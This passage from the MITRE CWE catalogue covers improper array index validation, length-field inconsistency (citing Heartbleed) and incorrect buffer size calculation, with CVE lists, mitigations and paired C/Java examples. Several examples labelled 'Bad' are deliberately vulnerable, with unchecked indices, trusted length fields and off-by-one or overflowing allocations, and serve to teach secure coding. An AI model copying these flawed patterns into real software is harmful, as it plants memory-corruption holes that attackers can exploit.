sizes[num - 1] = size;
}
...
}

```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C

(Good)

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
...
char buf[BUFFER_SIZE];
int ok;
int num, size;
// read values from socket and added to sizes array
while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
{
// continue read from socket until buf only contains '.'
if (DOTLINE(buf))
break;
else if (sscanf(buf, "%d %d", &num, &size) == 2) {
if (num > 0 && num <= (unsigned)count)
sizes[num - 1] = size;
}
}
}

```

```

else
    /* warn about possible attempt to induce buffer overflow */
    report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
}
}
...
}

```

**Example 5:**

In the following example the method `displayProductSummary` is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the `displayProductSummary` method. The `displayProductSummary` method passes the integer value of the product number to the `getProductSummary` method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

*Example Language: Java**(Bad)*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}

```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

*Example Language: Java**(Good)*

```

// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}

```

An alternative in Java would be to use one of the collection objects such as `ArrayList` that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.



Example Language: Java

(Good)

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

**Example 6:**

The following example asks a user for an offset into an array to select an item.

Example Language: C

(Bad)

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Observed Examples**

Reference	Description
<b>CVE-2005-0369</b>	large ID in packet used as array index <a href="https://www.cve.org/CVERecord?id=CVE-2005-0369">https://www.cve.org/CVERecord?id=CVE-2005-0369</a>
<b>CVE-2001-1009</b>	negative array index as argument to POP LIST command <a href="https://www.cve.org/CVERecord?id=CVE-2001-1009">https://www.cve.org/CVERecord?id=CVE-2001-1009</a>
<b>CVE-2003-0721</b>	Integer signedness error leads to negative array index <a href="https://www.cve.org/CVERecord?id=CVE-2003-0721">https://www.cve.org/CVERecord?id=CVE-2003-0721</a>
<b>CVE-2004-1189</b>	product does not properly track a count and a maximum number, which can lead to resultant array index overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1189">https://www.cve.org/CVERecord?id=CVE-2004-1189</a>
<b>CVE-2007-5756</b>	Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5756">https://www.cve.org/CVERecord?id=CVE-2007-5756</a>
<b>CVE-2005-2456</b>	Chain: array index error (CWE-129) leads to deadlock (CWE-833) <a href="https://www.cve.org/CVERecord?id=CVE-2005-2456">https://www.cve.org/CVERecord?id=CVE-2005-2456</a>

**Affected Resources**

- Memory

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<b>C</b>	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	<b>C</b>	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	2137
MemberOf	<b>C</b>	802	2010 Top 25 - Risky Resource Management	800	2148
MemberOf	<b>C</b>	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	<b>C</b>	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	2169

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250
MemberOf	C	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2258
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

## Notes

### Relationship

This weakness can precede uncontrolled memory allocation (CWE-789) in languages that automatically expand an array when an index is used that is larger than the size of the array, such as JavaScript.

### Theoretical

An improperly validated array index might lead directly to the always-incorrect behavior of "access of array using out-of-bounds index."

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unchecked array indexing
PLOVER			INDEX - Array index overflow
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Specific	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C		Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element
CERT C Secure Coding	INT32-C		Ensure that operations on signed integers do not result in overflow
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-129		
Software Fault Patterns	SFP8		Faulty Buffer Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-96]Jason Lam. "Top 25 Series - Rank 14 - Improper Validation of Array Index". 2010 March 2. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/12/top-25-series-rank-14-improper-validation-of-array-index/> >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-130: Improper Handling of Length Parameter Inconsistency

**Weakness ID** : 130

**Structure** : Simple

**Abstraction** : Base

### Description

The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.



### Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		240	Improper Handling of Inconsistent Structural Elements	555
CanPrecede		805	Buffer Access with Incorrect Length Value	1585


*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Sometimes)

**Language :** C++ (Prevalence = Sometimes)

**Language :** Not Language-Specific (Prevalence = Undetermined)

### Alternate Terms

**length manipulation :**

**length tampering :**

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Integrity	Modify Memory	
	Varies by Context	

### Potential Mitigations

#### Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

#### Phase: Implementation

Do not let the user control the size of the buffer.

#### Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

### Demonstrative Examples

#### Example 1:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

*Example Language: C*

*(Bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
```

```

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);
// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
    message[index] = msg->msgBody[index];
}
message[index] = '\0';
// process message
success = processMessage(message);
}
return success;
}

```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
<b>CVE-2014-0160</b>	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. <a href="https://www.cve.org/CVERecord?id=CVE-2014-0160">https://www.cve.org/CVERecord?id=CVE-2014-0160</a>
<b>CVE-2009-2299</b>	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2299">https://www.cve.org/CVERecord?id=CVE-2009-2299</a>
<b>CVE-2001-0825</b>	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0825">https://www.cve.org/CVERecord?id=CVE-2001-0825</a>
<b>CVE-2001-1186</b>	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1186">https://www.cve.org/CVERecord?id=CVE-2001-1186</a>
<b>CVE-2001-0191</b>	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0191">https://www.cve.org/CVERecord?id=CVE-2001-0191</a>
<b>CVE-2003-0429</b>	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0429">https://www.cve.org/CVERecord?id=CVE-2003-0429</a>
<b>CVE-2000-0655</b>	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0655">https://www.cve.org/CVERecord?id=CVE-2000-0655</a>
<b>CVE-2004-0492</b>	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0492">https://www.cve.org/CVERecord?id=CVE-2004-0492</a>
<b>CVE-2004-0201</b>	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field <a href="https://www.cve.org/CVERecord?id=CVE-2004-0201">https://www.cve.org/CVERecord?id=CVE-2004-0201</a>

Reference	Description
<b>CVE-2003-0825</b>	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues <a href="https://www.cve.org/CVERecord?id=CVE-2003-0825">https://www.cve.org/CVERecord?id=CVE-2003-0825</a>
<b>CVE-2004-0095</b>	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0095">https://www.cve.org/CVERecord?id=CVE-2004-0095</a>
<b>CVE-2004-0826</b>	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0826">https://www.cve.org/CVERecord?id=CVE-2004-0826</a>
<b>CVE-2004-0808</b>	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0808">https://www.cve.org/CVERecord?id=CVE-2004-0808</a>
<b>CVE-2002-1357</b>	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1357">https://www.cve.org/CVERecord?id=CVE-2002-1357</a>
<b>CVE-2004-0774</b>	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0774">https://www.cve.org/CVERecord?id=CVE-2004-0774</a>
<b>CVE-2004-0989</b>	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0989">https://www.cve.org/CVERecord?id=CVE-2004-0989</a>
<b>CVE-2004-0568</b>	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0568">https://www.cve.org/CVERecord?id=CVE-2004-0568</a>
<b>CVE-2003-0327</b>	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0327">https://www.cve.org/CVERecord?id=CVE-2003-0327</a>
<b>CVE-2003-0345</b>	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0345">https://www.cve.org/CVERecord?id=CVE-2003-0345</a>
<b>CVE-2004-0430</b>	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0430">https://www.cve.org/CVERecord?id=CVE-2004-0430</a>
<b>CVE-2005-0064</b>	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0064">https://www.cve.org/CVERecord?id=CVE-2005-0064</a>
<b>CVE-2004-0413</b>	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0413">https://www.cve.org/CVERecord?id=CVE-2004-0413</a>
<b>CVE-2004-0940</b>	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.



Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-0940">https://www.cve.org/CVERecord?id=CVE-2004-0940</a>
<b>CVE-2002-1235</b>	Length field of a request not verified. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1235">https://www.cve.org/CVERecord?id=CVE-2002-1235</a>
<b>CVE-2005-3184</b>	Buffer overflow by modifying a length value. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3184">https://www.cve.org/CVERecord?id=CVE-2005-3184</a>
<b>SECUNIA:18747</b>	Length field inconsistency crashes cell phone. <a href="http://secunia.com/advisories/18747/">http://secunia.com/advisories/18747/</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

### Notes

#### Relationship

This probably overlaps other categories including zero-length issues.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Length Parameter Inconsistency
Software Fault Patterns	SFP24		Tainted Input to Command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
47	Buffer Overflow via Parameter Expansion

## CWE-131: Incorrect Calculation of Buffer Size

**Weakness ID** : 131

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403
CanFollow		467	Use of sizeof() on a Pointer Type	1050
CanPrecede		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2272

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	Execute Unauthorized Code or Commands	
Confidentiality	Read Memory Modify Memory	
<p><i>If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.</i></p>		

### Detection Methods

#### Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

*Effectiveness = High*

*Detection techniques for buffer-related errors are more mature than for most other weakness types.*

#### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

*Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.*

### Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source Code Quality Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

**Phase: Implementation**

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7] Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

**Phase: Implementation**

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

**Phase: Architecture and Design**

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

**Phase: Implementation**

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

**Phase: Implementation**

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

**Phase: Implementation**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

*Effectiveness = Moderate*

*This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.*

**Phase: Implementation**

Use sizeof() on the appropriate data type to avoid CWE-467.

**Phase: Implementation**

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

**Phase: Build and Compilation**

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-61] [REF-60].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Implementation**

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

### Demonstrative Examples

#### Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

*Example Language: C*

*(Bad)*

```
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX\_NUM\_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

#### Example 2:

The following image processing code allocates a table for images.



Example Language: C

(Bad)

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

**Example 3:**

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
